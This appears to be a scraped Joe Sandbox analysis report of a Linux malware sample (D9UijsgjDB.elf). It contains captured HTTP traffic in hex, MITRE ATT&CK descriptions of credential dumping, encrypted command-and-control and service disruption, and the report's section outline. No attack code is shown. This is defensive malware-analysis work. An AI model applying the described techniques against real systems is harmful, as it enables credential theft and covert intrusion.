Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Tue, 26 Dec 2023 20:20:11 GMTServer: Apache/2.2.29 (Unix) mod_ssl/2.2.29 OpenSSL/1.0.1f PHP/5.5.18X-Powered-By: PHP/5.5.18Vary: Accept-EncodingContent-Encoding: gzipContent-Length: 20Connection: closeContent-Type: text/htmlData Raw: 1f 8b 08 00 00 00 00 00 00 03 03 00 00 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Tue, 26 Dec 2023 20:20:11 GMTServer: Apache/2.2.29 (Unix) mod_ssl/2.2.29 OpenSSL/1.0.1f PHP/5.5.18X-Powered-By: PHP/5.5.18Vary: Accept-EncodingContent-Encoding: gzipContent-Length: 20Connection: closeContent-Type: text/htmlData Raw: 1f 8b 08 00 00 00 00 00 00 03 03 00 00 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Tue, 26 Dec 2023 22:15:28 GMTServer: Apache/2.2.22X-Powered-By: PHP/5.3.10-1ubuntu3.26Vary: Accept-EncodingContent-Encoding: gzipConnection: closeContent-Type: text/html;charset=UTF-8Data Raw: 1f 8b 08 00 00 00 00 00 00 03 bc 58 e1 52 dc 36 10 fe 0d 4f b1 71 67 a0 9d c1 e7 a3 24 99 e4 f0 5d da 40 32 c9 94 00 93 10 48 7f 75 74 f6 da 56 4e 96 1c 49 3e a0 d3 7f 7d 95 3e 49 fb 62 5d d9 3e 9f cd 1d 4c 48 9a 32 c3 20 cb da d5 ee b7 9f 3e ad 09 1f 1c 9e 1c 9c fd 7a fa 02 32 9b 0b 38 7d ff fc e8 f5 01 78 7e 10 5c ec 1d 04 c1 e1 d9 21 7c 78 75 f6 e6 08 76 07 43 38 d3 4c 1a 6e b9 92 4c 04 c1 8b 63 0f bc cc da 62 14 04 97 97 97 83 cb bd 81 d2 69 70 f6 36 b8 72 be 76 9d 71 33 f4 6d c7 72 10 db d8 9b 6c 86 d5 86 57 b9 90 66 bc c6 cd ee d3 a7 4f 6b 6b cf 2d 1a 09 26 d3 b1 87 d2 83 76 e4 7c 20 8b 27 9b 40 3f e1 03 df 07 1e a3 b4 3c e1 18 57 ab 4a 96 e2 18 25 24 5a e5 c0 a2 08 0b eb b7 f3 e0 fb 8d a5 e5 56 e0 e4 94 26 41 2a 0b 89 2a 65 0c 7f c0 4b a5 8d 81 0b 9c 1a d4 73 1e 21 fc fc 1c 7c 78 47 0f a8 63 cd 13 0b 2a ca 00 fd 42 19 1b 06 b5 93 da 61 8e 96 81 4b c9 c7 4f 25 9f 8f bd 03 25 2d 45 e6 db eb 02 3d 88 ea a7 b1 67 f1 ca 06 2e c5 fd 28 63 da a0 1d bf 3f 7b e9 3f f1 20 e8 3a 92 2c c7 b1 97 a2 44 cd ac d2 1d fb 3a c2 c6 39 bc 61 92 52 c8 dd f0 fb 0e 9e 89 5b 34 30 f8 c3 5a b7 31 9a 48 f3 c2 55 a6 e3 78 ed 52 56 da 6c cd f6 3d 80 d6 1a be 3d 79 7e 72 f6 ae 6b 78 72 74 74 72 b1 73 7c f2 fa f8 f0 c5 87 a5 8d e0 72 06 99 c6 64 ec 05 e6 da f8 31 d7 01 97 89 0a a8 2c 78 c5 8d 0d 88 43 38 88 8c f1 40 a3 18 7b c6 5e 0b 34 19 a2 f5 c0 61 db 40 5a 2d 20 a7 61 50 f3 23 9c aa f8 7a b2 b9 11 c6 7c 4e 1c 19 7b 2e 12 c6 09 50 e2 d0 c6 72 da ad 6e e6 36 42 d6 44 b2 06 4a da cc 55 7b 2d 02 b7 52 c4 9b 84 3c 4f c1 e8 e8 66 76 82 5d ab d2 06 42 a5 29 1b 7c 2c 52 0f 98 58 0f ef ed ce 29 dd 30 60 55 36 01 a5 d3 4b 2b 47 63 88 19 4d 5e 96 4d 1d 51 37 aa b1 ae 07 34 8a 9b d1 46 58 40 05 eb d8 4b 08 25 df f0 df 71 04 bb c3 61 71 b5 ef 4d 1e 0e 1f 86 41 b1 30 0a 5a 2b b2 5f 58 5d f2 d8 66 ce 82 0c c0 95 c3 67 82 a7 72 04 11 d5 1e f5 be d7 6e 74 37 1c c6 6a 8c 66 1d 3c aa 92 ae d9 f8 ce c0 1f d5 71 f7 0f 77 38 d5 0e 2f 53 30 b9 c6 e4 61 6d f2 8e c7 f4 3a e3 d6 12 29 0c 70 0a 3e 0c 9c c9 a4 42 00 d6 fc 2c e3 a2 51 0d 2d 0d 16 78 af 16 c6 a5 fb 5b 73 2a 9a ea f4 5e 09 4c dc 7c 58 50 ac 56 2b 99 4e ce 32 24 e6 7f 2a d1 58 d2 b8 c2 65 15 a9 52 c4 55 6e 53 6c d2 0b 9a d5 55 a0 64 7d 2a 90 19 04 ab af 81 a5 c4 7b 12 47 aa c4 0e 28 0d 73 4e 47 0a 72 37 e9 bc 8d 1a 68 6e 90 df 9b 34 03 c7 31 e7 75 a3 93 ce 8d a0 35 4f b3 1b 51 d7 50 1a 12 e1 b8 84 64 4b 95 a4 78 da d4 7f 67 96 0a b3 c5 34 97 e9 3e cc 68 99 03 1a 98 b5 35 f4 66 25 99 73 46 51 6f 31 67 2b 89 58 2b fe 80 93 54 82 41 c9 34 ee 00 0a 81 9a 90 69 df 1a cb b4 35 2e a0 2f cf 35 12 cc d0 a5 15 11 ac a4 16 cb ba b6 83 6c 77 b1 46 97 53 cd 67 de e4 9c 8b 19 83 3a 6c bd ee 6a 79 46 62 b5 db 63 c7 54 5d ad 72 a3 71 4b ef e8 5e 54 32 12 3c 9a 91 8a ab a8 74 c2 3f 10 2a 62 4e cb 07 55 4a db 6b b4 2b b8 c

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may stop or disable services on a system to render those services unavailable to legitimate users. Stopping critical services or processes can inhibit or stop response to an incident or aid in the adversary's overall objectives to cause damage to the environment.
Tactics:	Impact
Data Sources:	Command: Command Execution, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Termination, Service: Service Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Linux Analysis Report D9UijsgjDB.elf

Overview

General Information

Detection

Signatures

Classification

Analysis Advice

General Information

Warnings

Runtime Messages

Process Tree

Malware Threat Intel

Yara Signatures

Initial Sample

PCAP (Network Traffic)

Memory Dumps

Snort Signatures

Joe Sandbox Signatures

AV Detection

Networking

System Summary

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Malware Configuration

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

Static ELF Info

ELF header

Sections

Program Segments

Network Behavior

Snort IDS Alerts

Network Port Distribution

TCP Packets

HTTP Packets

System Behavior

Analysis Process: D9UijsgjDB.elf PID: 6232, Parent PID: 6150

General

Chronological Activities

Analysis Process: D9UijsgjDB.elf PID: 6233, Parent PID: 6232

General

Chronological Activities

Analysis Process: D9UijsgjDB.elf PID: 6234, Parent PID: 6232

General

Chronological Activities

Analysis Process: D9UijsgjDB.elf PID: 6235, Parent PID: 6232

General

Chronological Activities

Analysis Process: D9UijsgjDB.elf PID: 6236, Parent PID: 6235

Linux Analysis Report
D9UijsgjDB.elf